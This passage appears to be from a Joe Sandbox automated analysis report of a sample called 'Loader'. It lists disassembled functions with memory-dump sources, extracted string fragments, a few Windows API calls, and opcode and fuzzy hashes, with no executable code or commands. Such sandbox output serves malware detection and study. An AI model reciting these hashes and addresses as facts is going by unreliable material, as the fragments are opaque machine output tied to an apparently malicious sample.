
"C, xrefs: 0043E014

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: 318cf19dad6bd902ed9746a2d1b6ba562f171c8a02b36b8081c52eebcdc19270
Instruction ID: cc3b19862de00450c502d71b80b37b6a0facead2af28862af59a70b515e96c0c
Opcode Fuzzy Hash: 318cf19dad6bd902ed9746a2d1b6ba562f171c8a02b36b8081c52eebcdc19270
Instruction Fuzzy Hash: EA22F479B18111CFCB08CF38E8906AAB7A2FF8A315F1985BDD54697395C7349852CB44

Function 0043DA80 Relevance: 1.9, Strings: 1, Instructions: 609COMMON

Download Yara Rule

Strings

"C, xrefs: 0043E014

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: c745bed812c72e11a2f85d115635a27e4d80eed790739967119487ee27e1db50
Instruction ID: 7582ed78cd08e368e7f7bf7a7ebd23f02f26f556a500b2e852d8dce14501ab51
Opcode Fuzzy Hash: c745bed812c72e11a2f85d115635a27e4d80eed790739967119487ee27e1db50
Instruction Fuzzy Hash: EE02F339B18211CFCB08CF38E8906AAB7B2FF8A315F1989BDD54697395C7349842CB44

Function 011CF711 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,011CF70C,?,?,00000008,?,?,011CF30F,00000000), ref: 011CF93E

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 70031fc36e5d33b4dfa49f389e82c6349f1e198425c5f3dab4e7705bf089505f
Instruction ID: 2bdad6668afa3a5aaddd90eea9fb85881586f42832ba92e25a44ecb80c80b042
Opcode Fuzzy Hash: 70031fc36e5d33b4dfa49f389e82c6349f1e198425c5f3dab4e7705bf089505f
Instruction Fuzzy Hash: 16B16C3161060A9FEB19CF2CC48ABA57FA1FF15764F25865CE999CF2A1C335D982CB40

Function 011C4A55 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 011C4A6B

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: fa33ad3d69aef539fd0b8ca3bead3655fb4b406a62f9a2a97dbf59b91084de55
Instruction ID: 34d989726f1e9d5d23f47a0493165737d3791f33d8df0aac758ce42d3498d033
Opcode Fuzzy Hash: fa33ad3d69aef539fd0b8ca3bead3655fb4b406a62f9a2a97dbf59b91084de55
Instruction Fuzzy Hash: A8A188B5A066458FDB2CCF68D4917ADBBB0FB59728F14816ED525E77C8C334A880CB50

Function 0043DBF0 Relevance: 1.7, Strings: 1, Instructions: 488COMMON

Download Yara Rule

Strings

"C, xrefs: 0043E014

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: da03289935d2a365dedf4cbe9730c3ecdc5a79b854c84855746c9a427666edbc
Instruction ID: f391942a458117ab2eff221fcfc61aedbfa58ea332473f0907b71af19172290f
Opcode Fuzzy Hash: da03289935d2a365dedf4cbe9730c3ecdc5a79b854c84855746c9a427666edbc
Instruction Fuzzy Hash: 89E1E239B18211CFCB08CF29D8916AEB7B2FF8A315F1986BDD50697395C7349852CB84

Function 0041D200 Relevance: 1.7, Strings: 1, Instructions: 475COMMON

Download Yara Rule

Strings

pq, xrefs: 0041D306

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: pq
API String ID: 0-1239689891
Opcode ID: 8f7d284124c82df3290142075c504644928a384a95776854a061d4f458ab5068
Instruction ID: 500f681a5dc29514dd64ddcd126b613fb850ea0849f1361138090b14647004ae
Opcode Fuzzy Hash: 8f7d284124c82df3290142075c504644928a384a95776854a061d4f458ab5068
Instruction Fuzzy Hash: 3FC1F1B5A183108BD724CF28C8917ABB3F2EF95314F08892DE8C58B395E738D945C75A

Function 0043DC80 Relevance: 1.7, Strings: 1, Instructions: 454COMMON

Download Yara Rule

Strings

"C, xrefs: 0043E014

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: 93cfdb384fbbcdf934b2e1f9f719d80038c7b1012457b02cac8aa074438e88da
Instruction ID: 13288392fc325517df86cad4ade3bbe7b083210dd55d9389e011795523972a75
Opcode Fuzzy Hash: 93cfdb384fbbcdf934b2e1f9f719d80038c7b1012457b02cac8aa074438e88da
Instruction Fuzzy Hash: A1D1E236B18211CFCB08CF29D8916AEB7B2FB8A315F1986BDD54697395C7349C02CB94

Function 0043DD00 Relevance: 1.7, Strings: 1, Instructions: 446COMMON

Download Yara Rule

Strings

"C, xrefs: 0043E014

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: 9bbcde8f8e236cf10bfcc444cae987d80eafb99731bf26b6d9bde5d12487c25a
Instruction ID: c02c92b643ec8d6061b0b585771056a8a7c41fa14bd75fb70af057f1c39578d8
Opcode Fuzzy Hash: 9bbcde8f8e236cf10bfcc444cae987d80eafb99731bf26b6d9bde5d12487c25a
Instruction Fuzzy Hash: 86D1F135A18215CFCB08CF39D8912BEBBB2FB8A315F1986BDD44297381C7349802CB94

Function 00438F45 Relevance: 1.7, Strings: 1, Instructions: 418COMMON

Download Yara Rule

Strings

:, xrefs: 00439411

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: d4da6a1f1a33f302b28b3d272f302cdbfe495a8cad6bdfe1330f27f80afea027
Instruction ID: 45885d3b4d1d012f206d53a257d01764ec68dfae15cf9f6058a92df6a7d4df09
Opcode Fuzzy Hash: d4da6a1f1a33f302b28b3d272f302cdbfe495a8cad6bdfe1330f27f80afea027
Instruction Fuzzy Hash: C3D1483AA24222CBCB148FB8D9411AFB3B1FF4A311F1A8879C941A7394D7799D52C794

Function 0042B4D0 Relevance: 1.7, Strings: 1, Instructions: 408COMMON

Download Yara Rule

Strings

", xrefs: 0042B7B8

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 91379af672f1dbe31fa7d13f69b6f352546ad0d77617e07e08176a71aae7ab56
Instruction ID: 5488062bd572d25524ecec9402af32519797fcb3431be29340e35f15c478a4d7
Opcode Fuzzy Hash: 91379af672f1dbe31fa7d13f69b6f352546ad0d77617e07e08176a71aae7ab56
Instruction Fuzzy Hash: 2FD116B2B083249FC714DE15E48076BB7EAEF84314F48856EE9998B382D738DD4487D6

Function 00416930 Relevance: 1.7, Strings: 1, Instructions: 402COMMON

Download Yara Rule

Strings

<, xrefs: 00416B51

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: <
API String ID: 2994545307-4251816714
Opcode ID: 9eff7890b7abb3a006f2c2d0c5a801ffc39c4971112778df707c3dff6546adfd
Instruction ID: bc8ced4a158fefc9f1f828ddbeaf2a6aa2fbb25641fc4c758a13245c578b86aa
Opcode Fuzzy Hash: 9eff7890b7abb3a006f2c2d0c5a801ffc39c4971112778df707c3dff6546adfd
Instruction Fuzzy Hash: 15A19A766082508FD328CB24C8917BBB7D2EBCA304F1A897ED4D5D7252D738D841CB6A

Function 011C9255 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c6afe46916d1f3de16385360326b4e34759b009bcbef1d0834a3ae96c14b987
Instruction ID: 68d9164682cad4aefab8f3bc5f6754e5bb5d720af1c77e568428de411a4f72f2
Opcode Fuzzy Hash: 7c6afe46916d1f3de16385360326b4e34759b009bcbef1d0834a3ae96c14b987
Instruction Fuzzy Hash: ED31B27690021DAFDB28DEBDCCC8DAEB76EEB94718F144199E91597284EB309D408B60

Function 00414F1E Relevance: 1.6, Strings: 1, Instructions: 336COMMON

Download Yara Rule

Strings

rt, xrefs: 0041506C

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: rt
API String ID: 0-702342736
Opcode ID: 1605de470e2b15ba7f14b5bab545798554ec421646854cba13ad9437dbebe96f
Instruction ID: 0dc673b11f2f29cf9410cafdc44ae5b0865e538447e6119a8d8e6fbf35fadf0c
Opcode Fuzzy Hash: 1605de470e2b15ba7f14b5bab545798554ec421646854cba13ad9437dbebe96f
Instruction Fuzzy Hash: DFB11676908351CBC720CF29C8807AB77E1EFC5364F198A6EE8C98B351E7349942CB56

Function 00405EA0 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 00405FD6

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 697b2ba8bb72cb3d0de071efa58bd3f0d967c93cefef912759de0d6da7d3f539
Instruction ID: a478b9cc30ed764529248bf8faf02e780253ee7d6c10264c25d16e611a95a898
Opcode Fuzzy Hash: 697b2ba8bb72cb3d0de071efa58bd3f0d967c93cefef912759de0d6da7d3f539
Instruction Fuzzy Hash: 98B138712097819FD321DF18C88061BFBE0AFA9704F444A6EF5D997382D635E918CBA7

Function 0042B980 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042BB7E

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: c4d9b42fc58f09a600c35257a89653f03652f6e6775d652d055d3af208aaf9ad
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 6671D332B083254BD724CE29E48032BBBE2EBC5710F99C52FE4949B395D7389D4587CA

Function 0041B360 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

_, xrefs: 0041B45C

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: ee4ac179044c3f7383c156140ccdd89d0e3231ce0658b60971308e5cd19b2ba5
Instruction ID: 91adedf6748a9dca2f1a78b1e507b8d61ea5c2b795734500ece8cd71c55922e5
Opcode Fuzzy Hash: ee4ac179044c3f7383c156140ccdd89d0e3231ce0658b60971308e5cd19b2ba5
Instruction Fuzzy Hash: C271F85520469149D72CDF748893337BAE69F84308B2891BFD955CFBA7FA38C1438789

Function 0042C2CF Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

x^T:, xrefs: 0042C370

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: x^T:
API String ID: 0-4046853431
Opcode ID: e31bfd97cdbca3c70ba9f5c1bb4fca88fd095036d1b234706b61afd3b6481d50
Instruction ID: 89561afeee3bb8202773f312476c0e81b73573d3d24e9526409a401e0603a0db
Opcode Fuzzy Hash: e31bfd97cdbca3c70ba9f5c1bb4fca88fd095036d1b234706b61afd3b6481d50
Instruction Fuzzy Hash: 5C5128B46083A19BD321DB29D4A077BBBD1AFE7304F58885EE8C687341D6394905CB56

Function 00418176 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

DBCD, xrefs: 00418195

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: DBCD
API String ID: 2994545307-3972649111
Opcode ID: 1728cb6a1d738985eb9129bf996d7e92726b74752c28ad5bffaaaafca00f85d9
Instruction ID: 244c48801a6beffa120859c347b683f921f31d654a72ffce60c91e75d6a5c392
Opcode Fuzzy Hash: 1728cb6a1d738985eb9129bf996d7e92726b74752c28ad5bffaaaafca00f85d9
Instruction Fuzzy Hash: 9D513C366182118FD7248B28CC11BEBB7D2FBC5714F19453DC9D9D3292DB359842CB89

Function 00409AC1 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

<=, xrefs: 00409C8C

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: <=
API String ID: 0-1782720273
Opcode ID: 5840dc97e85359ba13058269382f43ee069955b4541cfd0c5025b4a86daafca6
Instruction ID: c36e57fc54e8ebb91c1d5de0612bd1b6b956f574d134e83768c4160145cd7853
Opcode Fuzzy Hash: 5840dc97e85359ba13058269382f43ee069955b4541cfd0c5025b4a86daafca6
Instruction Fuzzy Hash: 8A5139B6E513684BDB14CFB9D8812DEBA32FB89310F0982A9D844B7344E7348D458FC5

Function 0040ECE0 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

H, xrefs: 0040EE77

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: e1abe98de3425fd04befb758b88ca7be288ae45674263f711d55fda94f78aa6e
Instruction ID: b490a7b8e69dba0a299ff7ef51fd341b042986cf65b0f910d3ddf594bd78af48
Opcode Fuzzy Hash: e1abe98de3425fd04befb758b88ca7be288ae45674263f711d55fda94f78aa6e
Instruction Fuzzy Hash: DF51CF3260C3908BD7259B3984912EFBBE5ABC6310F194E3EE4D9973C2D6388542D787

Function 0043D450 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

ul, xrefs: 0043D561

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ul
API String ID: 0-4068291676
Opcode ID: 09d47b0d80f7065e4a3fffddd9f75c44f89de03e5ddc334a4cab4097f41f42d0
Instruction ID: 162c06210579af30b91d2e802b6b39d5a7fb57fbd88dc5fca12273f2b30ca4e7
Opcode Fuzzy Hash: 09d47b0d80f7065e4a3fffddd9f75c44f89de03e5ddc334a4cab4097f41f42d0
Instruction Fuzzy Hash: 66316032B086501BC70CDA2888A257BB7E29BDE319F19D13ED895C73D2D538DD068744

Function 00429170 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

A%&', xrefs: 0042919A

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: A%&'
API String ID: 0-1522422272
Opcode ID: 184964f8b652324f2e113d025011fc4e3a587f1cbb9a8a3454d8662ee6523bd1
Instruction ID: 913c420f85954eed9bd1d458c10467abd4bf7e3dae9106fcd3ab7ebdbb23f432
Opcode Fuzzy Hash: 184964f8b652324f2e113d025011fc4e3a587f1cbb9a8a3454d8662ee6523bd1
Instruction Fuzzy Hash: CC2109B12483185FE718DF249C56B6FB7A1EB82300F05882CE5858B1C6D678D509C746

Function 0041C08C Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

I, xrefs: 0041C094

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 73cf703926595eb476ccce4fa146147637d9604b7af4a04b8eb6030e6fa27180
Instruction ID: 25dd5030608d8804b3685d06091bb182962033f97911b4a3b6b195a09c05bc12
Opcode Fuzzy Hash: 73cf703926595eb476ccce4fa146147637d9604b7af4a04b8eb6030e6fa27180
Instruction Fuzzy Hash: 5221D532A583518BC3148E68C89139BFBE15BD2314F1D9A7ED4D197291C77C88498B86

Function 0043D010 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

C5pq, xrefs: 0043D01F

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: C5pq
API String ID: 0-2188916712
Opcode ID: fd3e314f0704b203d822c73d32aed4de58c5baba185771a5c6d4afa7d99d76f6
